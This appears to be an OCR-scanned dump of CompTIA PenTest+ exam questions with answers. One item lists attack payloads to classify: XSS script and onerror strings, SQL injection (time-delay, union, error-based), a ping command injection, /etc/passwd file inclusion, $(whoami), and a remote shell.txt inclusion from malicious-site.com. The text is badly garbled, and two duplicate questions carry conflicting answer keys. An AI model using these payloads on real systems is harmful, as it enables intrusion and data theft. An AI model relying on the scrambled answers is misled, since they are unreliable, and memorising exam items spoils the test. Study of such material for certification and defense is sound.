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NEW QUESTION # 417

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious.

INSTRUCTIONS

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in
the future.

Ifat any time you would like to bring back the mnitial state of the simulation, please click the Reset All button.

HTTP Request Payload Table

Payloads Vulnerability Type Remediation
#inner-tab"><scriptralert(1)</script> v v
Command Injection Parameterized queries
DOM-based Cross Site Scripting | |Preventing external calls
SQL Injection (Error) Input Sanitization .. .\, /., sandbox requests
SQL Injection (Stacked) Input Sanitization*, :, S, [ ]. (, ),
SQL Injection (Union) Input Sanitization *,", <, -, >, -,

Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion

URL Redirect

item=widget ' ;waitfor¥28delay%20°'00:00:20";-- M v
Command Injection Parameterized queries
DOM:-based Cross Site Scripting | |Preventing extemal calls
SQL Injection (Error) Input Sanitization .. . \ . /, sandbox requests
SQL Injection (Stacked) Input Sanitization *, ;. $, [ 1. (. ).
SQL Injection (Union) Input Sanitization *’, <, :, >, -,

Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion

URL Redirect
item=widget%2@union¥X20@select¥20null,null,@@version;-- v v

Command Injection Parameterized queries

DOM-based Cross Site Scripting | |Preventing extenal calls

SQL Injection (Error) Input Sanitization .. .\, / , sandbox requests

SQL Injection (Stacked) Input Sanitization *, :. $. [, . (. ).

saL Iniedion {Union) Input Sanitization *", <, -, >, -,

Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion

URL Redirect
search=Bob"%3e%3cimg%20src%3da%2@onerror%3dalert(1)%3e v v

Command Injection Parameterized queries

DOM-based Cross Site Scripting | |Preventing external calls

SAL Injection (Error) Input Sanitization .. .\, /., sandbox requests

SQL Injection (Siacked) Input Sanitization . . §, [ ]-. Lk |

SQL Injection (Union) Input Sanitization *,". <, -, >, -,

Reflected Cross Site Scripting
Local File Inclusion

Remote File Inclusion

URL Redirect

item=widget '+convert(int,@@version)+’ v v
Command Injection Parameterized queries o= .
DOM-based Cross Site Scfigmg Preventingextemal c& - W
SQL Injection (Error) Input Sénitization .. , 4. sandbox requests
SQL Injection (Stacked) = Input Sanitization. -, ﬁ b P ) E
SQL Injectioni(Uhion) & | | | |input Sanitizatien *., <. -, >, -,
Reflected Coss Site Seripting
[Local File Inclusion | . |
Remote File inclusion ©
|URLRedirect =

site=www.exa’ pifighao - c%2010%281ocalhost ‘mple. com v v
Command Injection Parametenzed queries
DOM-based Cross Site Scripting | |Preventing external calls
SQL Injection (Ermor) ' Input Sanitization _ . \ . / . sandbox requests
SQL Injection (Stacked) Input Sanitization*, :, $. [, ). (. ).




CompllA.-

logfile=%2fetc%2fpasswdX00

lookup=%(whoami)

logFile=http:%2f%2fwww.malicious-site.com¥2fshell. txt

Answer:

Explanation:
HTTP Request Payload Table

Payloads

#inner-tab”><script>alert(1)</script>

item=widget’;waitfor%20delayX20°'00:00:20";--

SUL Injection {Union)
Reflected Cross Srte Scnptmg
Local File Inclusion

Remote File Inclusion

URL Redirect

|mpul Samuzauon ©,, <, I, 2, -,

'Command Injection

'DOM-based Cross Site Scripting
SQL Injection (Error)

saL In]echon (S!acked)

sQL Injechon (Umon)

Reflected Cross Site Scﬂp(mg
Local File Inclusion

Remote File Inclusion

URL Redirect

Parameterized queries

Prwenung memal calls

Input Sanitization . .\, /, sandbox. requests
lnpu’( Sanitization °, . §. L)G)

Input Sanitization *,". <, -, >, -,

Command Injection

DOM-based Cross Site Scripting
SQL Injection (Emor)

SQL Injection (Stacked)

SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion

Remote File Inc!uswn

URL Redirect

Parameterized gueries
Preventing external calls

Input Sanitization .. \ I sandbox requests
Input Sanitization . S [ ] ( 23
Input Santtization *, g

Command Injection

DOM-based Cross Site Scripting
SQL Injection (Error)

SQL Injection (Stacked)

SQL Injection (Union)

Reflected Cross Site Scnp(mg
Local File Inclusion

Remote File Inclusmn
URL Redirect

Parameterized queries

F'lewntmg external calls

Input: Sanitization . .\, /, sandbox requests
Input Sanitization *, . §, [. 1.0).

Input Sanitization *.". <, . >, -,

Command Injection

DOM-based Cross Site Scripting
saL Injéclion (Error)

saL Injection (Siacked)

SAL Injection (Umon)

Reflected Cross Site Scnp(mg
Local File Inclusion

Remote File Inclusion

URL Redirect

Vulnerability Type

Parameternized queries
'Preveming external calls

Input Sanitization .. .\, /, sandbox requests
Input Sanitization °, :. § [ 10) i
Input Sanitization *,

Remediation

Command Injection
DOM-based Cross Site Scripting
SQL Injection (E&or)

saL Ihjection (Stacked)

SQL Inigc!ion Lnion)

Local File Inclusion
R_’_er_'nqle I_'-'ul_a__t_nclus:on
URL Redirect

Parameterized queries
Preventing external calls

Input Sanitization .. , \, f sandbox requests
input Sanitzatien. 3, L1.L),
Input Sanitization *, -

Command Injection

DOM-based Cross Sne Scnptmg
SQL Inacnon EI'TOI’]

SQL Injection {Stacked}

I Parameterized queries j
Preventing external calls
Input Sanitization .., \ . /, sandbox requests

Input Sanitization ', -, 5, | Pl



SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion

Remote File Inclusion

URL Redirect

item=widget%2@union¥2@select¥2@null,null,@@version;--

Iinaut Sanitization *., <, .,

hSQL Iruectuon (Error)

saL In;echon (Stacked)

'SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion R
Remote File Inclusion

URL Redirect

Parameterized queries
Prevsntmg external calls
Input Sanmzatlon ) sandbox requesls

Input Sanmzatlon Sy

search=Bob"%3e%3cimg%2@src%3da%2@onerror%3dalert(1)%3e

u

Command Injection

DOM-based Cross Site Scripting
saL ln_tectlon {Enor}

SQL Injection (Stacked)

SQL In;ectlon (Umon)

R:moTe FTie Eclisio-'r-l
URL Redirect

item=widget'+convert(int,@@version)+’

Parameterized queries
Preventing external calls

Input Sanitization .., \, / . sandbox raquests

Input Sanitization °, $. [_ ], (_ ).
Input Sanitization *.". <, -, >, -,

CompTlA

Command Injection ! B
DOM-based Cross Site Scnptmg
saL Inpectuon (Errot) {

SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Seripting |
Local File Inclusion

| Remote File Inclusion

URL Redirect

site=www.exa’ ping%20-c%2010%201c0calhost ‘mple.com

v
Parametenzed qutﬂea
Prﬂng_ewa_l e N e
Input'Sanitization .. , \ . A sandbox requeslq
Input Sanitizatibn Ay [. Pty
Input Sanitization *, L.

 Command Injection

 DOM-based Cross Srte Scnpl:ng
saL In_:ectlon (Enor)

SQL Inpchon (Stacked)

Reflected Cross Site Scnpnng
Local File Inclusion

Remote File Inclusion

URL Redirect

redir=http:%2f%2fwww.malicious-site.com

Palametenzed quenes I

Praventmg ‘extemal calls

Input Sanitization . .\ ./, sandbox requesls
lnmnSahhiz'étidd' 8. [.!.(. Y

S

Input Sanitization °,

‘Command Injection

DOM- based Cross Sne Scripting
I“éQL Ir_!;_echon _{.Error)

SQL Injection (Stacked)

SQL Injection (Union)

| Reflected Cross Site Scnplmg
Local File Inclusion

Remote File Inclusion

URL Redirect

logfile=%2fetc%2fpasswd%ee

Parameterized queries
P-r:we;tlra extenal calls

Input Sanitization .\ ./, sandbox requesls
Input Sanitization ', -, $. [.]. (. ).

Input Sanitization ", <, -, >, -,

Command Injection
DOM-based Cross Site Scnp(mg
SqQL In}ectlon (Error) '

saL In;echon (Stacked}

SQL Injection (Union)
Reflected Cross Site Scripting

| Local File Inclusion _

URL Redirect

lookup=$(whoami)

Parameten’zed queries
Inpul Sanmzat;n o \_ / _sa:db:x ;qt;sl;
lnput Sanitization °,

5. [- i. ()
Input Sanitization °, e




Command Injection | Parameterized queries

DOM-based Cross Site Scripting | |Preventing external calls

SQL Injection (Error) Input Sanitization . .\, /. sandbox requests
SQL Injection (Stacked) Input Sanitization*, -, S, [. 1. (,). |
SAL Injection (Union) Input Sanitization *,’, <, :, >, -,

Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion

URL Redirect
logFile=http:%¥2f%2fwww.malicious-site.com%2fshell. txt v v

Command Injection Parameterized queries

DOM-based Cross Site Scripting B:év—enﬁng?n;‘rnﬁ calls |

SQL Injection (Error) Tnput Sanitization -, ", /", sandbox requests

SQL Injection (Stacked) Input Sanitization*, :, S, [ ] (. ).

SQL Injection (Union) Input Sanitization ', <, -, >, -,

Reflected Cross Site Scripting
Local File Inclusion

| Remote File Inclusion

URL Redirect 1

Explanation

1. Reflected XSS - Input sanitization (<> ...)
2. Sql Injection Stacked - Parameterized Queries
3. DOM XSS - Input Sanitization (<> ...)

4. Local File Inclusion - sandbox req

5. Command Injection - sandbox req

6. SQLi union - paramtrized queries

7. SQLi error - paramtrized queries

8. Remote File Inclusion - sandbox

9. Command Injection - input saniti $

10. URL redirect - prevent external calls

NEW QUESTION # 418

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key
findings are as follows:

* The following request was intercepted going to the network device:

GET /login HTTP/1.1

Host: 10.50.100.16

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5
Connection: keep-alive Authorization: Basic WU9IVUIOQUI1FOnNIY3JIdHBhc3N3b3jk

* Network management interfaces are available on the production network.

* An Nmap scan returned the following;

Port State Servicas | Weksion
22/tep open ssh ) Cisca SsH"1.25 (protocel 2.0

BO/tcp open http Giseo IOS http config
|_http=a—title: Did not (Eqllow redirect to http=://10.50.100.16
443/tcp open https Cisco IOS https config

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

A. Enforce enhanced password complexity requirements.
B. Inplement a better method for authentication.

C. Create an out-of-band network for management.

D. Disable or upgrade SSH daemon.

E. Disable HTTP/301 redirect configuration.

F. Elimnate network management and control interfaces.

Answer: B,C

Explanation:

The key findings indicate that the network device is vulnerable to several attacks, such as sniffing, brute-forcing, or exploiting the
SSH daemon. To prevent these attacks, the best recommendations are to create an out-of-band network for management, which
means a separate network that is not accessible from the production network, and to implement a better method for authentication,
such as SSH keys or certificates. The other options are not as effective or relevant.



NEW QUESTION # 419
‘Which of the following BEST describe the OWASP Top 10? (Choose two.)

A. A web-application security standard

B. A checklist of Apache vulnerabilities

C. The risks defined in order of importance

D. A list of all the risks of web applications

E. A risk-governance and compliance framework
F. The most critical risks of web applications

Answer: C,F

Explanation:

These two options best describe the OWASP Top 10, which stands for Open Web Application Security Project Top 10 and is a
list of the most critical web application security risks based on data from various sources and experts. The list is updated periodically
to reflect changes in technology and threat landscape. The list also ranks the risks in order of importance based on their prevalence,
impact, and ease of exploitation or remediation. The other options are not accurate descriptions of the OWASP Top 10. The list
does not cover all the risks of web applications, but rather focuses on the most common and severe ones. The list is not a web
application security standard, but rather a guideline or reference for developers, testers, and security professionals. The list is not a
risk-governance and compliance framework, but rather a resource or tool for identifying and mitigating web application
vulnerabilities. The list is not a checklist of Apache vulnerabilities, but rather a general list of web application risks that apply to any
web server or platform

NEW QUESTION # 420
Which of the following is the most effective method for ensuring a payload or exploit will run regardless of the operating system
version?

A. Dynamic libraries
B. Static compilation
C. Shared objects

D. Dynamic binary
Answer: B

Explanation:

Static compilation ensures that all the necessary libraries and dependencies are bundled with the payload or explott at the time of
compilation. This eliminates reliance on the target system's library versions or availability, making it more likely that the payload will
run regardless of the operating system version. This aligns with CompTIA Pentest+ objectives under exploit development and
scripting to enhance exploit reliability.

NEW QUESTION # 421

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key
findings are as follows:

* The following request was intercepted going to the network device:

GET /login HTTP/1.1

Host: 10.50.100.16

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;g=0.5
Connection: keep-alive Authorization: Basic WUIVUIIOQU1FOnNIY3JIdHBhe3N3b3jk

* Network management interfaces are available on the production network.

* An Nmap scan returned the following;

Poxt State Servicea Wension
22/tcp open ash Cisco 88H"1.25 (protocol 2.0

B0/ tcp op&n http Qisweo I08 http config
|_https—title: Did not (fallow redirect to https=://10.50.100.16
443/ tecp open https= Cisco IOS http=s config

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)



A. Enforce enhanced password complexity requirements.
B. Implement a better method for authentication.

C. Create an out-of-band network for management.

D. Disable HTTP/301 redirect configuration.

E. Disable or upgrade SSH daemon.

F. Eliminate network management and control interfaces.

Answer: C,D

NEW QUESTION # 422
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